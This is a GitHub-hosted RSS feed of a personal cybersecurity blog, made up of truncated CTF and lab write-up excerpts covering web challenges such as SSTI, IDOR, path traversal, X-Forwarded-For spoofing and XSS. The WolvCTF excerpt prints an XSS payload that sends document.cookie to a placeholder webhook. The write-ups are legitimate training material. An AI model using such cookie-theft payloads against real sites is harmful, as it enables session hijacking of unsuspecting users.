chrootcommit.github.io/posts/index.xml at master · ChRootCommit/chrootcommit.github.io

Repository navigation

History

100

101

102

103

104

105

106

107

108

109

110

<?xml version="1.0" encoding="utf-8" standalone="yes"?>

<title>Posts on chrootcommit</title>

<description>Recent content in Posts on chrootcommit</description>

<generator>Hugo -- gohugo.io</generator>

<atom:link href="https://chrootcommit.github.io/posts/index.xml" rel="self" type="application/rss+xml" />

<item>

<title>[MidnightCTF2024 - Web] Cachecache</title>

<guid>https://chrootcommit.github.io/posts/midnightctf2024-web-cachecache/</guid>

<description>Team : The Penetrators
Overview On a une application web flask d&rsquo;affichage de citations avec la possibilité de faire consulter la citation par un bot selenium. L&rsquo;objectif est de voler le cookie du bot.
Code from flask import Flask, request from flask_caching import Cache import random import string from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from os import environ from time import sleep app = Flask(__name__) config = { &#34;DEBUG&#34;: False, &#34;CACHE_TYPE&#34;: &#34;SimpleCache&#34;, &#34;CACHE_DEFAULT_TIMEOUT&#34;: 300 } app.</description>

</item>

<item>

<title>[PatriotCTF2023 - Web] Pick Your Starter</title>

<guid>https://chrootcommit.github.io/posts/patriotctf2023_pick-your-starter/</guid>

<description>Team: XxxPassword123xxX
Difficulty: medium
Overview Lorsque l&rsquo;on entre un endpoint qui n&rsquo;existe pas l&rsquo;erreur 404 se déclenche et affiche notre endpoint.
Exploitation de SSTI On tente l&rsquo;injection du calcul 7*7 pour s&rsquo;assurer que l&rsquo;on se trouve sur une SSTI :
BlackList Après plusieurs tests, on constate que l&rsquo;application web blacklist un ensemble de termes et de caractères en renvoyant &ldquo;that&rsquo;s not a starter&rdquo;. Voici une liste de caractères filtrés :</description>

</item>

<item>

<title>[PatriotCTF2023 - Web] flower Shop</title>

<guid>https://chrootcommit.github.io/posts/patriotctf2023_flower-shop/</guid>

<description>Team: XxxPassword123xxX
Difficulty: medium
Overview On a une application web dont on a accès au code source. Cette WebApp permet d&rsquo;inscrire/s&rsquo;authenfier et de réinitialiser son mot de passe. A l&rsquo;inscription on fournit le webhook permettant de recevoir son nouveau mot de passe en cas de réinitialisation de ce dernier. Notre objectif est de pouvoir lire le fichier admin.php et récupérer le flag à l&rsquo;intérieur.
Analyse de code Filtre de l&rsquo;input de webhook En analysant le code, on peut apercevoir un filtre sur la validation du format du webhook :</description>

</item>

<item>

<title>[DUCTF2023 - Web] Actually_Proxed</title>

<guid>https://chrootcommit.github.io/posts/ductf2023-web-actually_proxed/</guid>

<description>Team: XxxPassword123xxX
Difficulty: easy
Code analysis Secret server&rsquo;s code :
package main import ( &#34;flag&#34; &#34;fmt&#34; &#34;log&#34; &#34;net/http&#34; &#34;os&#34; &#34;strings&#34; ) var ( port = flag.Int(&#34;port&#34;, 8081, &#34;port to listen on&#34;) ) func main() { flag.Parse() http.HandleFunc(&#34;/&#34;, func(w http.ResponseWriter, r *http.Request) { xff := r.Header.Values(&#34;X-Forwarded-For&#34;) ip := strings.Split(r.RemoteAddr, &#34;:&#34;)[0] if xff != nil { ips := strings.Split(xff[len(xff)-1], &#34;, &#34;) ip = ips[len(ips)-1] ip = strings.TrimSpace(ip) } // 1337 hax0rz 0nly! if ip !</description>

</item>

<item>

<title>[DUCTF2023 - Web] Static_File_Server</title>

<guid>https://chrootcommit.github.io/posts/ductf2023-web-static_file_server/</guid>

<description>Team: XxxPassword123xxX
Difficulty: easy
Code analysis from aiohttp import web async def index(request): return web.Response(body=&#39;&#39;&#39; &lt;header&gt;&lt;h1&gt;static file server&lt;/h1&gt;&lt;/header&gt; Here are some files: &lt;ul&gt; &lt;li&gt;&lt;img src=&#34;/files/ductf.png&#34;&gt;&lt;/img&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#34;/files/not_the_flag.txt&#34;&gt;not the flag&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &#39;&#39;&#39;, content_type=&#39;text/html&#39;, status=200) app = web.Application() app.add_routes([ web.get(&#39;/&#39;, index), # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690 web.static(&#39;/files&#39;, &#39;./files&#39;, follow_symlinks=True) ]) web.run_app(app) According to the code, the route /files gives access to static files. It maybe vulnerable to path traversal, let&rsquo;s exploit it throught BurpSuite :</description>

</item>

<item>

<title>[DUCTF2023 - Web] Proxed</title>

<guid>https://chrootcommit.github.io/posts/ductf2023-web-proxed/</guid>

<description>Team: XxxPassword123xxX
Difficulty: easy
Code analysis package main import ( &#34;flag&#34; &#34;fmt&#34; &#34;log&#34; &#34;net/http&#34; &#34;os&#34; &#34;strings&#34; ) var ( port = flag.Int(&#34;port&#34;, 8081, &#34;The port to listen on&#34;) ) func main() { flag.Parse() http.HandleFunc(&#34;/&#34;, func(w http.ResponseWriter, r *http.Request) { xff := r.Header.Values(&#34;X-Forwarded-For&#34;) ip := strings.Split(r.RemoteAddr, &#34;:&#34;)[0] if xff != nil { ips := strings.Split(xff[len(xff)-1], &#34;, &#34;) ip = ips[len(ips)-1] ip = strings.TrimSpace(ip) } if ip != &#34;31.33.33.7&#34; { message := fmt.</description>

</item>

<item>

<title>[HeroCTFv5 - Web] Blogodogo1</title>

<guid>https://chrootcommit.github.io/posts/heroctfv5-blogodogo1/</guid>

<description>under B0rn2PwnCTF team
Overview Try to see the content of the secret note of the administator user.
(We have the website&rsquo;s source code)
Idor exploitation We can try to enumerate all author&rsquo;s id to find the admin&rsquo;s posts. Here, we used burp intruder with sniper as attack type and payload of numbers :
Generate time based hash of a post It sounds good, we found the admin&rsquo;s Secret blog post, but this last was indicated as draft and we could not access to the draft post of another user.</description>

</item>

<item>

<title>[HeroCTFv5 - Web] DrinkFromMyFlask1</title>

<guid>https://chrootcommit.github.io/posts/heroctfv5-drinkfrommyflask1/</guid>

<description>under B0rn2PwnCTF team
Overview A friend of yours got into an argument with a flask developer. He tried handling it himself, but he somehow got his nose broken in the process&hellip; Can you put your hacker skills to good use and help him out?
You should probably be able to access the server hosting your target&rsquo;s last project, shouldn&rsquo;t you ? I heard is making a lost of programming mistakes&hellip;</description>

</item>

<item>

<title>[HeroCTFv5 - Web] Best Schools</title>

<guid>https://chrootcommit.github.io/posts/heroctfv5-best-school/</guid>

<description>under B0rn2PwnCTF team
Overview An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the &lsquo;Flag CyberSecurity School&rsquo; in first place and you&rsquo;ll get your reward!
Detect vulnerable source code function updateNbClick(schoolName) { var updated_school = []; fetch(&#34;/graphql&#34;, { method: &#34;POST&#34;, headers:{ &#34;Content-Type&#34;: &#34;application/json&#34;, &#34;Accept&#34;: &#34;application/json&#34; }, body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: &#34;${schoolName}&#34;){schoolId, nbClick} }`}) }).</description>

</item>

<item>

<title>THM - The Cod Caper</title>

<guid>https://chrootcommit.github.io/posts/thm-the_code_caper/</guid>

<description>Host Enumeration ┌──(kali㉿kali)-[~] └─$ sudo nmap -p- -v 10.10.10.196 -A Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-12 12:34 EDT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 12:34 Completed NSE at 12:34, 0.00s elapsed Initiating NSE at 12:34 Completed NSE at 12:34, 0.00s elapsed Initiating NSE at 12:34 Completed NSE at 12:34, 0.00s elapsed Initiating Ping Scan at 12:34 Scanning 10.10.10.196 [4 ports] Completed Ping Scan at 12:34, 0.</description>

</item>

<item>

<title>WolvCTF 2023 - Writeup</title>

<guid>https://chrootcommit.github.io/posts/2023-03-20-wolvctf2023/</guid>

<description>Challenges Solved : Web ZOmbie 101 This Challenge is a a classic xss where you steal the cookie&rsquo;s admin. (admin is a bot who visits the url you give).
Payload : &lt;script&gt;window.location=&#34;https://&lt;myWebHook&gt;/?c=&#34;.concat(document.cookie)&lt;/script&gt; I sent the url with payload to the admin input and got the flag : wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261} Zombie 201 It is the same webapp than Zombie 101, but admin activated the httponly parameter. We can&rsquo;t gather the cookie throught the document object.</description>

</item>

<item>

<title>[FR] HTB - Wrong Spooky Season</title>

<guid>https://chrootcommit.github.io/posts/2023-03-01-hackthebox-wrong_spooky_season/</guid>

<description>HTB - Wrong Spooky Season
Catégorie : Forensic
Enoncé : &ldquo;I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.&rdquo; Now there is an internal breach in the Spooky Network and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.</description>

</item>

<item>

<guid>https://chrootcommit.github.io/posts/2023-02-28-tryhackme---ide/</guid>

<description>Hello, It is my first post. From now I start to post my writeup/notes about CTF challenges from differents platforms to share you my approach.
Enumeration Let&rsquo;s scan ports :
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 02:C5:29:36:64:91 (Unknown) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 62337 open tcp -&gt; HTTP -&gt; Codiad 2.</description>

</item>

<item>

<title>About</title>

<guid>https://chrootcommit.github.io/posts/about/</guid>

<description>Junior Cybersecurity Consultant. I’m a passionated about cybersecurity. In my blog, I share you my experience in infosec.(notes, ctf writeup, tutorials)</description>

</item>

</channel>

</rss>

FilesExpand file tree

index.xml

Latest commit

History

index.xml

File metadata and controls